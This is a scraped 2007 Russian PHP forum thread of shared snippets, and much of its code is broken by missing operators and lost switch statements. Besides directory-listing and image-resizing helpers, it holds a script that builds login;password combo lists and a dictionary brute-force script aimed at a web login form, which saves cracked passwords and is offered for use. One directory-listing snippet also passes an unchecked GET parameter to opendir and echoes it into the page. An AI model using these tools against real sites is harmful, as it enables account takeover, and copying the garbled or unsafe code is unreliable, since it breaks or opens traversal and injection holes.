(PHP 5)
scandir -- Получить список файлов и каталогов, расположенных по указанному пути
функция scandir() есть начиная с 5ой версии, а она еще не везде стоит((

mamamot 15.04.2007 20:11

Было:

PHP код:

if(!isset($_GET['p']))
{
 
$dir ".";
echo 
"<h2>Корневая директория<h2>";
//получаем список файлов
 
$filelist scandir(".");
}
else
{
echo 
"<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$filelist scandir("./".$_GET['p']);


Стало:

PHP код:

if(!isset($_GET['p']))
{
$dir ".";
echo 
"<h2>Корневая директория<h2>";
//получаем список файлов
$dd=opendir(".");
while((
$file readdir($dd)) !== false)
{
$filelist[]=$file;
}
closedir($dd);
}
else
{
echo 
"<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$dd opendir($dir);
while((
$file readdir($dd)) !== false)
{
$filelist[]=$file;
}
closedir($dd);                    


Замените и пользуйтесь на здоровье! Хотя я советовал бы переходить на пхп5, если это возможно

Underwit 16.04.2007 19:52

Этот скрипт создает комбо лист.

PHP код:

<?
$login 
file('login.txt');
$pass file('pass.txt');
$combo fopen('combo.txt','a');
for(
$a='0'$a<sizeof($login); $a++)
 {
   for(
$b='0'$b<sizeof($pass); $b++)
     {
        
fwrite($combortrim($login[$a]).';'.$pass[$b]);   
      }
 } 
fclose($combo);
?>


а Этот скрипт читает файл сравнивает с шаблоном и выводит список совпадений без повтарений.

PHP код:

<?
error_reporting
(0);
$sha '(www)\.[a-z0-9A-Z]{1,100}\.(com)';
$path 'file.htm';
$end = array();
$link '';
$file fopen($path'r');
while(!
feof($file))
{
$_file fgets($file);
if(
ereg($sha$_file$link))
{
array_push($end$link['0']);}}
fclose($file);
$end array_unique($end);
foreach(
$end as $key => $val)
{echo 
$val.'<br>';}
?>


mR_LiNK[deface_0nl 17.04.2007 03:46

Скрипт простой брутфорс атаки по http.
(Некотрые моменты были упущены и специально не рассмотрены,
чуть позже для наглядности приведу реальный пример, с разбором тела ответа, но пока только так.
Также очень часто для защиты от подобной атаки приложения используют различные проверки по заголовкам,
их помогает избежать подмена данных в заголовках.
Так же чуть позже напишу скрипт брута через прокси)


Скрипту необходимо 2-а файла. 1-ый со списком логинов (каждый логин в новой строке!).
2-ой словарь для брута (каждое слово в новой строке!)

PHP код:

<?php
//массив логинов
$f_log fopen ('login.txt''r');
$login fread($f_log65000);
$name explode("\n"$login);
for (
$i=0$i<count($name); $i++)
{
$name[$i]=trim($name[$i]);
}
fclose($f_log);

//массив паролей из словаря))
$f_pass fopen ('pass.txt''r');
$passwd fread($f_pass65000);
$pass explode("\n"$passwd);
for (
$i=0$i<count($pass); $i++)
{
$pass[$i]=trim($pass[$i]);
}
fclose($f_pass);

$hostname "www.host.ru";
//соединяемся с сервером
$fp fsockopen($hostname80$errno$errstr30);
if(!
$fp
//проверяем успешность соединения
  
echo "$errstr ($errno)<br />\n";
} else {
//собственно брут
  
for($n=0$n<count($name); $n++)
  {
  
$path "/script.php?login=".$name[$n]."&passwd=";
  for(
$p=0$p<count($pass); $p++)
  {
  
$header "GET http://".$hostname.$path.$pass[$p]." HTTP/1.0\n\n"

      
//отправляем запрос
       
fputs($fp$header); 
      
//построчно считываем ответ сервера
      
$line=''
      while (!
feof($fp)) 
      {  
        
$line .= fgets($fp1024);  
      }
      
//работаем с ответом
      //особенность аутентификации через формы - это невозможность анализа полей
      //http заголовков, так как независимо от успешности аутентификации в них будет '200OK'
      //соответственно необходим парсинг тела ответа на наличие 
      //характерных элементов успешной аутентификации
      
      //$rez = fopen('rezcopyline.txt', 'a+');  применяется для
      //fputs($rez, $line);                     отладки
      //fclose($rez);                           скрипта
      
      //здесь несколько строк кода разбора ответа
      //шаблонного примера здесь привести не могу
      //т.к. абсолютно каждый раз код разный
      
      //если характерный элемент был найден::
      
$luck 'Для '.$name[$n].' пароль: '.$pass[$p];
      
$f_success fopen('result.txt''a+');
      
fputs($f_success$luck); //пишем результат в файл
      
fclose($f_success);
      echo 
'<br>';
      echo 
'Для '.$name[$n].' пароль: '.$pass[$p];
      echo 
'<br>';
      }
      }
    }
fclose($fp);     
?>

зы:: под мелкие нужды легко вносятся изменения или модификации.
ззы:: если у кого возникли вопросы и предложения,в личку!
зззы:: всю конструктивную критику с удовольствием принимаю!!

Joker-jar 28.04.2007 17:28

PHP. Функция для вывода списка файлов в данной дериктоии и ниже. Форматировать по вкусу.
PHP код:

function browse_tree($npath$ipath$showhtfiles=false)

  
$op=""
  
$notadir=array("."".."); 
  
$dir=opendir($npath); 
  while (
$file=readdir($dir))
    { 
      
// если стоит опция не показывать файлы вроде ".htaccess" - проверяем 
      
$stripped_as_ht=($showhtfiles) ? false : (substr($file,0,1)==".") ; 
      
// если это не "." и не ".." 
      
if ((filetype($npath.$file)=="dir")&&(!in_array($file$notadir))
        { 
          
$nipath="$ipath/$file"
          
browse($npath.$file."/"$nipath); 
        } 
      else 
        if ((!
in_array($file,$notadir)) && (!$stripped_as_ht)) 
          { 
            
$op.="$ipath/$file\n"
          } 
     } 
  
// При необходимости - раскомментировать следующую строку 
  // $op=nl2br($op); 
  
return $op



mR_LiNK[deface_0nl 29.04.2007 03:23

Функция ресайза изображения
 
Функция ресайза изображения


На вход подаются путь к изменяемой картинке, новая ширина и высота.

PHP код:

function SetImgSize($img$width$height)
{
         
//получаем тип файла    
    
{
        case 
"jpg":
            
$srcImage = @ImageCreateFromJPEG($img);                
        break;
            
        case 
"gif"
            
$srcImage ImageCreateFromGIF($img);
        break; 

        case 
"png"
            
$srcImage ImageCreateFromPNG($img); 
        break;
        
        default:
            return -
1;
        break;
    }
                
    
$srcWidth  ImageSX($srcImage); 
    
$srcHeight ImageSY($srcImage); 
        
    if((
$width $srcWidth) || ($height $srcHeight))
    {
        
$ratioWidth  $srcWidth/$width
        
$ratioHeight $srcHeight/$height

        if(
$ratioWidth $ratioHeight)
        { 
            
$destWidth  $srcWidth/$ratioHeight
            
$destHeight $height
        }
        else
        { 
            
$destWidth  $width
            
$destHeight $srcHeight/$ratioWidth;                         
        } 

        
$resImage ImageCreateTrueColor($destWidth$destHeight);
        
        
ImageCopyResampled($resImage$srcImage0000$destWidth$destHeight$srcWidth$srcHeight);    
            
        
unlink($img);
            
        
//определяем тип
        
{
            case 
"jpg":
                
ImageJPEG($resImage$img100); 
            break;
                
            case 
"gif"
                
ImageGIF($resImage$img);                     
            break; 

            case 
"png"
                
ImagePNG($resImage$img);                     
            break;
        }
            
        
ImageDestroy($srcImage); 
        
ImageDestroy($resImage); 
    }




Время: 02:12